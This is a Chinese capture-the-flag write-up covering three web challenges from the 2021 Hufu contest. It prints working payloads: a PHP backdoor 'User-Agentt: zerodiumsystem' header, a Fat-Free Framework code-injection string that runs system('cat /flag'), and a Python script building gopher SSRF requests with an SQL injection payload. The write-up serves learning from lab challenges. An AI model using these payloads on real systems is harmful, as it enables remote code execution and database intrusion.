2021虎符初赛Web题解

  1. 1. 签到
  2. 2. unsetme
  3. 3. “慢慢做”管理系统

签到

前几天的Git服务器被黑留的后门, 不出网有点坑 (

POC: https://twitter.com/scurippio/status/1377029387334393861

1
User-Agentt: zerodiumsystem("cat /flag");

image-20210403214345314

unsetme

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();

看到这个确实很懵, 但是搜一下可以发现是Fatfree-Framework

Google可以搜到3.7.1版本有个RCE的历史漏洞: https://snyk.io/vuln/SNYK-PHP-BCOSCAFATFREE-559796

漏洞描述:

image-20210403220513285

具体在Clear()方法

但是没找到POC, 所以下源码对比git commit动态调试一下 , 源码地址 https://github.com/bcosca/fatfree/releases

image-20210403220242260

然后发现unset刚好触发Clear

image-20210403220753228

val 可控, $this->compile 里面的正则过于复杂, 就没仔细看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function compile($str, $evaluate=TRUE) {
return (!$evaluate)
? preg_replace_callback(
'/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
function($expr) {
$str='$'.$expr[1];
if (isset($expr[2]))
$str.=preg_replace_callback(
'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
function($sub) {
$val=isset($sub[2]) ? $sub[2] : $sub[1];
if (ctype_digit($val))
$val=(int)$val;
$out='['.$this->export($val).']';
return $out;
},
$expr[2]
);
return $str;
},
$str
)

瞎凑凑出来了一个

1
?a=test[aaaa]);system("cat /flag");phpinfo();//

image-20210403221104883

“慢慢做”管理系统

考察 : ssrf + sql注入

手搓gopher:

https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ

https://cloud.tencent.com/developer/article/1610645

读admin.php: (发GET包)

1
2
3
gopher://127.0.0.1:80/_GET%20/admin.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0a

127.0.0.1/admin.php

?way=xxx 全url编码 , 编码很重要

image-20210403215238601

构造POST包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib
import requests

data="username=test&password=test"
HttpData=\
f'''POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
'''

tmp = urllib.parse.quote(HttpData)
tmp = tmp.replace('%0A','%0D%0A')
print('gopher://127.0.0.1:80/_'+ tmp)

注入不是重点,重点是Gopher协议的使用

1
2
3
gopher://127.0.0.1:80/_POST%20/admin.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2027%0D%0A%0D%0Ausername%3Dtest%26password%3Dtest%0D%0A

gopher://127.0.0.1:80/_POST%20/admin.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2042%0D%0A%0D%0Ausername%3Dtest%27%3Bshow%20tables%3B%23%26password%3Dtest%0D%0A

后面注入参考: https://blog.csdn.net/weixin_45551083/article/details/105389126

参考修改表名的方式 , 后面没出就不写了XD